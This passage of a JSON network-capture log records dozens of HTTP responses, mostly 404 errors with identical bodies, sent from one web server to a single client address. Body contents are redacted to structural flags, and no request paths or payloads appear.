          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1987,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256279.598798000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1989",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61744,
          "event_id": "evt-1e8c88b7b889e656dd0dee3e",
          "src_port": 80,
          "tcp_stream": 65,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1990,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256279.874847000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1992",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61744,
          "event_id": "evt-bc51765f27d2a3ee4ed48c4c",
          "src_port": 80,
          "tcp_stream": 65,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1993,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256280.655619000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1995",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61744,
          "event_id": "evt-fdc4ab99a0f812e31534d986",
          "src_port": 80,
          "tcp_stream": 65,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1996,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256280.962386000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1998",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61744,
          "event_id": "evt-75166698b7bb9fbc5e872fed",
          "src_port": 80,
          "tcp_stream": 65,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1999,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256281.286373000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2001",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61744,
          "event_id": "evt-bdf65d126931da380eb904b5",
          "src_port": 80,
          "tcp_stream": 65,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2002,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256282.452413000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2004",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61744,
          "event_id": "evt-946d79de48f89cc35b6ff912",
          "src_port": 80,
          "tcp_stream": 65,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2005,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256284.155536000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2020",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 64046,
          "event_id": "evt-045103d5de2585817c497920",
          "src_port": 80,
          "tcp_stream": 67,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2022,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256293.200469000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2031",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65245,
          "event_id": "evt-8e425f3c64821031fc13f1a1",
          "src_port": 80,
          "tcp_stream": 68,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2033,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256304.171224000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2035",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65245,
          "event_id": "evt-0cde1eb0a1ec935e4ef0a8df",
          "src_port": 80,
          "tcp_stream": 68,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2036,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256304.533120000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2038",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65245,
          "event_id": "evt-db1e44da6d16cc2ce5df0ea1",
          "src_port": 80,
          "tcp_stream": 68,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2039,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256305.855700000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2041",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65245,
          "event_id": "evt-3502f9b442a53f3b129f9e77",
          "src_port": 80,
          "tcp_stream": 68,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2042,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256306.172007000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.content_type": "text/html",
            "http.response.code": "200",
            "http.content_length": "468"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52375,
          "event_id": "evt-3e59433445bb4f82d10850fb",
          "src_port": 80,
          "tcp_stream": 70,
          "udp_stream": null,
          "body_sha256": "54439de67d3af19d75b468511444a25f067767ff629b0e0262bb6781ed27b7bd",
          "frame_number": 2058,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 468,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 468,
          "timestamp_epoch": "1577256332.051088000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2060",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52375,
          "event_id": "evt-0b409f993b380e2bc95bf26e",
          "src_port": 80,
          "tcp_stream": 70,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2062,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256333.918851000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52375,
          "event_id": "evt-efe0b00def4b1b0e13268ec3",
          "src_port": 80,
          "tcp_stream": 70,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2067,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256334.847777000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2069",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52375,
          "event_id": "evt-db2ef0fd580ce437c401f5ac",
          "src_port": 80,
          "tcp_stream": 70,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2070,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256335.097319000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2072",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52375,
          "event_id": "evt-41d65f06e9c1c72d02e2d249",
          "src_port": 80,
          "tcp_stream": 70,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2074,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256336.022475000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2076",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52375,
          "event_id": "evt-df408e9cb734c1cd5181e867",
          "src_port": 80,
          "tcp_stream": 70,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2077,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256337.564826000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2079",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52375,
          "event_id": "evt-e9032fb5936cd225df05f07e",
          "src_port": 80,
          "tcp_stream": 70,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2080,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256337.926561000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2082",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52375,
          "event_id": "evt-17a0de70f4ab1dbfa170b8d7",
          "src_port": 80,
          "tcp_stream": 70,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2083,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256338.462958000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2085",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52375,
          "event_id": "evt-891ac0470cf4828a94916be3",
          "src_port": 80,
          "tcp_stream": 70,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2086,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256339.246836000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2088",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52375,
          "event_id": "evt-8a09f82b6143c0974d99e704",
          "src_port": 80,
          "tcp_stream": 70,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2089,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256340.441149000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2091",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52375,
          "event_id": "evt-042878e96097ffb44ab65b92",
          "src_port": 80,
          "tcp_stream": 70,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2092,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256341.737795000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2094",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52375,
          "event_id": "evt-ca279f2a488dcc4ba629fe47",
          "src_port": 80,
          "tcp_stream": 70,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2095,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256342.022643000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2097",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52375,
          "event_id": "evt-11c1964f5d84612c5605ccae",
          "src_port": 80,
          "tcp_stream": 70,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2098,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256342.271725000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2107",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-4d02f0492fbd3b952808febe",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2109,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256352.207995000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2111",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-44018238581c3b1bc8024eef",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2112,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256352.594285000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2114",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-c79e2e66237dd2430e47c311",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2115,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256352.891351000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2117",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-bbffd93f92808c4236208fd9",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2118,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256353.229932000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2120",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-cc6d290bb51cfbb87fe202a3",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2121,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256354.091805000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2123",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-2a57eca9bb5037c0a8b5130b",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2125,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256355.020702000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2127",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-029dbb057121ca7ec6aac211",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2128,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256355.300943000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2130",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-143713643b80ee2f672fd4be",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2131,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256356.265602000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2133",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-5f42b401cdb5c4c91160335b",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2134,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256356.543461000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2136",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-e42a3a13dfe33e657756f260",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2137,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256358.091417000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2139",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-af5b28a33dfadc21ab80addd",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2140,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256358.391740000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2142",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-ca87b96aad192d31fe3351a9",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
